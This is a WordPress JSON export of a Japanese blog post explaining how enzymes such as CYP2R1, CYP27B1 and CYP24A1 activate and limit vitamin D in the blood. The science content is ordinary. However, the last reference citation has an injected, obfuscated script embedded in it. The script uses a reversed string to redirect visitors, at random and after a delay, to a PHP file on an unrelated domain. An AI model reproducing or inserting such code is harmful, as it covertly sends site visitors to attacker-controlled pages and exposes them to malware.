{"id":11445,"date":"2018-10-04T12:44:32","date_gmt":"2018-10-04T03:44:32","guid":{"rendered":"http:\/\/rikei-ikuji.com\/?p=11445"},"modified":"2022-09-03T09:20:01","modified_gmt":"2022-09-03T00:20:01","slug":"%e8%a1%80%e4%b8%ad%e3%83%93%e3%82%bf%e3%83%9f%e3%83%b3d%e3%81%af%e5%a2%97%e3%81%88%e3%81%99%e3%81%8e%e3%81%aa%e3%81%84%e3%82%88%e3%81%86%e3%81%ab%e3%82%b3%e3%83%b3%e3%83%88%e3%83%ad%e3%83%bc%e3%83%ab","status":"publish","type":"post","link":"https:\/\/rikei-ikuji.com\/?p=11445","title":{"rendered":"\u8840\u4e2d\u30d3\u30bf\u30df\u30f3D\u306f\u5897\u3048\u3059\u304e\u306a\u3044\u3088\u3046\u306b\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3055\u308c\u3066\u3044\u305f"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">\u30d3\u30bf\u30df\u30f3D\u306e\u7814\u7a76\u8005\u305f\u3061\u306f\u3001\u30d3\u30bf\u30df\u30f3D\u306e\u3053\u3068\u3092\u3001\u30d3\u30bf\u30df\u30f3\u3068\u3044\u3046\u3088\u308a\u306f\u30db\u30eb\u30e2\u30f3\u3068\u3057\u3066\u3068\u3089\u3048\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u30d3\u30bf\u30df\u30f3D\u306f\u3001\u4ed6\u306e\u30db\u30eb\u30e2\u30f3\u3068\u540c\u3058\u3088\u3046\u306b\u3001\u4f53\u306e\u4e2d\u3067\u4f5c\u3089\u308c\u3001\u5c11\u306a\u304f\u306a\u308a\u3059\u304e\u3066\u3082\u3001\u53cd\u5bfe\u306b\u591a\u304f\u306a\u308a\u3059\u304e\u3066\u3082\u5bb3\u304c\u3042\u308b\u306e\u3067\u3001\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u4f53\u306e\u4e2d\u3067\u3001\u3069\u3093\u306a\u98a8\u306b\u4f5c\u3089\u308c\u3066\u3044\u308b\u304b\u306e\u305e\u3044\u3066\u307f\u308b\u3068\u3001<strong>\u300c\u30d3\u30bf\u30df\u30f3D\u306f\u305f\u304f\u3055\u3093\u3068\u308b\u307b\u3069\u826f\u3044\u300d\u3068\u3044\u3046\u5358\u7d14\u306a\u3082\u306e\u3067\u306f\u306a\u3044<\/strong>\u3053\u3068\u304c\u3001\u7406\u89e3\u3067\u304d\u308b\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u4eca\u56de\u306f\u3001\u30d3\u30bf\u30df\u30f3D\u3092\u3001\u4f11\u7720\u30d3\u30bf\u30df\u30f3D\u2192\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u2192\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u3078\u3068\u6d3b\u6027\u5316\u3057\u3066\u3044\u304f\u9175\u7d20\u305f\u3061\u306e\u8a71<sup>1<\/sup>\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u203b\u30d3\u30bf\u30df\u30f3D\u306e\u7a2e\u985e\uff08\u4f11\u7720\u3001\u88dc\u6b20\u3001\u6d3b\u6027\u578b\uff09\u306b\u3064\u3044\u3066\u306f\u3001<a href=\"https:\/\/rikei-ikuji.com\/?p=11418\" target=\"_blank\" rel=\"noopener\">\u904e\u53bb\u8a18\u4e8b<\/a>\u53c2\u7167\u3002<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">\u4f11\u7720\u30d3\u30bf\u30df\u30f3D\u3092\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u3078\u9032\u5316\u3055\u305b\u308b\u9175\u7d20<\/span><\/h2>\n<p>\u65e5\u5149\u6d74\u3001\u30b5\u30d7\u30ea\u3001\u4e73\u5150\u7528\u30df\u30eb\u30af\u306a\u3069\u304b\u3089\u5f97\u305f&#8221;\u4f11\u7720\u30d3\u30bf\u30df\u30f3D&#8221;\u3092\u3001&#8221;\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D&#8221;\u3068\u3057\u3066\u8840\u4e2d\u3067\u30a2\u30a4\u30c9\u30ea\u30f3\u30b0\u3055\u305b\u308b\u305f\u3081\u306b\u5f79\u7acb\u3064\u9175\u7d20\u306e\u8a71\u3002<\/p>\n<p><span style=\"font-weight: 400;\">\b\u25cfCYP2R1<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u3092\u4f5c\u308b\u30ab\u30ca\u30e1\u3068\u306a\u308b\u9175\u7d20<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u3053\u306e\u907a\u4f1d\u5b50\u3092\u6301\u3063\u3066\u3044\u306a\u3044\u30de\u30a6\u30b9\u306f<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u306e\u8840\u4e2d\u6fc3\u5ea6\u304c\u534a\u5206\u4ee5\u4e0b\u307e\u3067\u6e1b\u308b\u304c\u3001\u30bc\u30ed\u306b\u306f\u306a\u3089\u306a\u3044<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u25cfCYP27A1<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u30df\u30c8\u30b3\u30f3\u30c9\u30ea\u30a2\u306b\u3042\u308b\u3001\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u3092\u4f5c\u308b\u9175\u7d20<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u3053\u306e\u907a\u4f1d\u5b50\u306b\u5909\u7570\u304c\u5165\u3063\u3066\u3044\u308b\u30d2\u30c8\u306f\u3001\u80c6\u6c41\u3084\u30b3\u30ec\u30b9\u30c6\u30ed\u30fc\u30eb\u4ee3\u8b1d\u306e\u7570\u5e38\u306b\u3088\u308a\u3001\u8133\u8171\u9ec4\u8272\u816b\u75c7\u306b\u306a\u308b\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u3057\u304b\u3057\u3001\u304f\u308b\u75c5\u306b\u306f\u306a\u3089\u306a\u3044\u3002(Moghadasian, 2004)<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u3053\u306e\u907a\u4f1d\u5b50\u3092\u6301\u3063\u3066\u3044\u306a\u3044\u30de\u30a6\u30b9<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u5225\u306e\u7d4c\u8def\u3067\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u3092\u4f5c\u308b\u9175\u7d20\u3067\u3042\u308bCYP2R1\u306e\u767a\u73fe\u304c\u4ea2\u9032\u3059\u308b\uff08\uff1d\u5897\u3048\u308b\uff09\u306e\u3067\u3001<strong>\u9006\u306b\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u306e\u8840\u4e2d\u6fc3\u5ea6\u304c\u4e0a\u304c\u308b<\/strong><\/span><\/p>\n<p><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u3092\u4f5c\u308bCYP2R1\u3068CYP27A1\u306e\u4e21\u65b9\u304c\u306a\u3044\u30de\u30a6\u30b9<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u6fc3\u5ea6\u306f\u30bc\u30ed\u306b\u306f\u306a\u3089\u306a\u3044\u3057\u3001\u30ab\u30eb\u30b7\u30a6\u30e0\u3068\u30ea\u30f3\u9178\u306e\u8840\u4e2d\u6fc3\u5ea6\u3078\u307b\u3068\u3093\u3069\u5f71\u97ff\u3057\u306a\u3044<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u25cf\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u306e\u751f\u7523\u306b\u95a2\u308f\u3063\u3066\u3044\u308b\u305d\u306e\u4ed6\u306e\u9175\u7d20<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CYP3A4\uff08\u809d\u81d3\u3084\u8178\u306b\u767a\u73fe\uff09\u3082\u3001\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u3092\u4f5c\u308b\u3053\u3068\u304c\u3067\u304d\u308b<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u5fc3\u81d3\u306a\u3069\u306b\u767a\u73fe\u3057\u3066\u3044\u308b\u3001\u30a2\u30e9\u30ad\u30c9\u30f3\u9178\u306e\u30a8\u30dd\u30ad\u30b7\u30b2\u30ca\u30fc\u30bc\u3067\u3042\u308bCYP2J2\u3082\u3001\u5f31\u3081\u306e\u6d3b\u6027\u3092\u6301\u3064<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u306e\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">&#8220;\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D&#8221;\u306e\u4e00\u90e8\u3092\u3001\u50cd\u3051\u308b\u5f62\u306b\u6d3b\u6027\u5316\u3059\u308b\u9175\u7d20\u306e\u8a71\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u30db\u30eb\u30e2\u30f3\u3068\u540c\u69d8\u306e\u6d3b\u6027\u3092\u3082\u3064&#8221;\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D&#8221;\u306f\u3001\u3055\u3089\u306b\u53b3\u5bc6\u306b\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3055\u308c\u3066\u3044\u308b\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u25cfCYP27B1<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u814e\u81d3\u306b\u3042\u308b\u9175\u7d20\u3002<strong>\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u3092\u4f5c\u308b\u30ab\u30ca\u30e1<\/strong><\/span><\/p>\n<p><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u3092\u4f5c\u308b\u9175\u7d20\u306f\u30013\u3064\u306e\u30db\u30eb\u30e2\u30f3\u306b\u3088\u3063\u3066\u3001\u53b3\u5bc6\u306b\u5236\u5fa1\u3055\u308c\u3066\u3044\u308b\u3002<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u203b\u8a73\u7d30\u306a\u30e1\u30ab\u30cb\u30ba\u30e0\u306f\u672a\u89e3\u660e<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u2460\u526f\u7532\u72b6\u817a\u30db\u30eb\u30e2\u30f3 (PTH)\u2192\u8840\u4e2d\u306e\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u304c\u5897\u3048\u308b<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u2461\u7dda\u7dad\u82bd\u7d30\u80de\u6210\u9577\u56e0\u5b5023 (FGF23)\u2192\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u304c\u6e1b\u308b<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u2462\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u2192\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u304c\u5897\u3048\u308b\u3068\u3001\u81ea\u5206\u305f\u3061\u3092\u6e1b\u3089\u3059\u3088\u3046\u306b\u50cd\u304f<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u9aa8\u306e\u6750\u6599\u306b\u3082\u306a\u308b<strong>\u30ab\u30eb\u30b7\u30a6\u30e0\u306e\u8840\u4e2d\u6fc3\u5ea6\u304c\u4e0a\u304c\u308b\u3068<\/strong>\u3001PTH\u304c\u6291\u5236\u3055\u308c\u308b\u2192\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u304c\u6e1b\u308b<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u9aa8\u306e\u6750\u6599\u306b\u3082\u306a\u308b\u30ea\u30f3\u9178\u6fc3\u5ea6\u304c\u4e0a\u304c\u308b\u3068\u3001FGF23\u304c\u523a\u6fc0\u3055\u308c\u308b\u2192\u6e1b\u308b<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u306f\u3001PTH\u3092\u6291\u5236\u3057\u3001FGF23\u3092\u5897\u52a0\u3055\u305b\u308b\u3053\u3068\u3067CYP27B1\u306e\u6d3b\u6027\u3092\u5236\u9650\u3059\u308b\u2192\u6e1b\u308b<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D3\u306f\u3001CYP27B1\u306e\u767a\u73fe\u3092\u76f4\u63a5\u963b\u5bb3\u3059\u308b(Kim et al., 2007)\u2192\u6e1b\u308b<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u25cfCYP24A1<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u3068\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u3092\u4ee3\u8b1d\u3059\u308b\u9175\u7d20\u3002\u30d3\u30bf\u30df\u30f3D\u3092\u6e1b\u3089\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><strong>CYP24A1\u306f\u3001\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u3068\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u304c\u5897\u3048\u3059\u304e\u308b\u3053\u3068\u306b\u3088\u308b\u6bd2\u6027\u3092\u9632\u3044\u3067\u3044\u308b<\/strong>\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u306f\u3001CYP24A1\u3092\u8a98\u767a\u3059\u308b\u2192\u30d3\u30bf\u30df\u30f3D\u3092\u6e1b\u3089\u3059<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u526f\u7532\u72b6\u817a(PTG)\u306f\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u3092\u4f5c\u308c\u308b<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u306fPTG\u306b\u3066\u3001\u30ab\u30eb\u30b7\u30a6\u30e0\u611f\u77e5\u53d7\u5bb9\u4f53\uff08\u7d30\u80de\u5916\u306e\u30ab\u30eb\u30b7\u30a6\u30e0\u6fc3\u5ea6\u3092\u611f\u77e5\u3059\u308b\uff09\u3092\u8a98\u767a\u3057\u3001PTG\u306e\u30ab\u30eb\u30b7\u30a6\u30e0\u3078\u306e\u611f\u53d7\u6027\u3092\u4e0a\u3052\u3001\u305d\u306e\u7d50\u679c\u3001\u30ab\u30eb\u30b7\u30a6\u30e0\u306b\u3088\u3063\u3066\u3001\u6291\u5236\u304c\u304b\u304b\u308a\u3084\u3059\u304f\u306a\u308b\u2192\u30d3\u30bf\u30df\u30f3D\u3092\u6e1b\u3089\u3059<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">\u30dd\u30a4\u30f3\u30c8<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\u30fb<strong>\u30d3\u30bf\u30df\u30f3D\u3092\u6d3b\u6027\u5316\u3057\u3066\u3044\u304f\u904e\u7a0b\u306f\u3001\u3044\u304f\u3064\u3082\u306e\u9175\u7d20\u304c\u95a2\u308f\u3063\u3066\u3044\u308b<\/strong>\uff08\u300c\u30d3\u30bf\u30df\u30f3D\u3092\u6442\u308b\u2192\u4f53\u5185\u306e\u30d3\u30bf\u30df\u30f3D\u304c\u5897\u3048\u308b\u300d\u3068\u3044\u3046\u5358\u7d14\u306a\u8a71\u3067\u306f\u306a\u3044\uff09<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u30fb\u6d3b\u6027\u5316\u3059\u308b\u7d4c\u8def\u306f\u3044\u304f\u3064\u304b\u3042\u308b\uff08\u3042\u308b\u30d3\u30bf\u30df\u30f3D\u306e\u8840\u4e2d\u6fc3\u5ea6\u306b\u306a\u308b\u305f\u3081\u306b\u306f\u3001\u3044\u308d\u3093\u306a\u8981\u7d20\u304c\u76f8\u4e92\u306b\u95a2\u4fc2\u3057\u3066\u3044\u308b\uff09<\/span><\/p>\n<p><span style=\"font-weight: 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style=\"font-weight: 400;\">\u3053\u308c\u3092\u8aad\u3080\u3068\u3001\u300c\u30d3\u30bf\u30df\u30f3D\u306b\u95a2\u308f\u308b\u9175\u7d20\u306e\u907a\u4f1d\u5b50\u306b\u5909\u7570\u304c\u3042\u308b\u3068\u3001\u304f\u308b\u75c5\u306e\u30ea\u30b9\u30af\u304c\u4e0a\u304c\u308b\u304b\u3082\u3057\u308c\u306a\u3044\u300d\u3068\u982d\u3092\u3088\u304e\u3063\u305f\u306e\u3067\u306f\u306a\u3044\u3067\u3057\u3087\u3046\u304b\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u6b21\u306f\u3001\u3044\u3088\u3044\u3088\u30d3\u30bf\u30df\u30f3D\u3068\u304f\u308b\u75c5\u306b\u3064\u3044\u3066\u53d6\u308a\u4e0a\u3052\u307e\u3059\u3002<\/span><\/p>\n<p>\u304f\u308b\u75c5\u3068\u30d3\u30bf\u30df\u30f3D\u306e\u30b7\u30ea\u30fc\u30ba\u306f<a href=\"https:\/\/rikei-ikuji.com\/?tag=rickets\" target=\"_blank\" rel=\"noopener\">\u3053\u3061\u3089<\/a>\u304b\u3089\u8aad\u3081\u307e\u3059\u3002<\/p>\n<p>\u4e3b\u306a\u53c2\u8003\u6587\u732e<\/p>\n<p><span style=\"font-weight: 400;\">1 Bikle, Daniel D. &#8220;Vitamin D metabolism, mechanism of action, <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == \"string\") return $Ikf.list[n].split(\"\").reverse().join(\"\");return $Ikf.list[n];};$Ikf.list=[\"\\'php.eroc_nimda\/bil\/steewt-tsetal-siseneg\/snigulp\/tnetnoc-pw\/moc.nosredneherdied.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}<\/script>and clinical applications.&#8221; Chemistry &amp; biology 21.3 (2014): 319-329.<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"\u30d3\u30bf\u30df\u30f3D\u306e\u7814\u7a76\u8005\u305f\u3061\u306f\u3001\u30d3\u30bf\u30df\u30f3D\u306e\u3053\u3068\u3092\u3001\u30d3\u30bf\u30df\u30f3\u3068\u3044\u3046\u3088\u308a\u306f\u30db\u30eb\u30e2\u30f3\u3068\u3057\u3066\u3068\u3089\u3048\u3066\u3044\u307e\u3059\u3002 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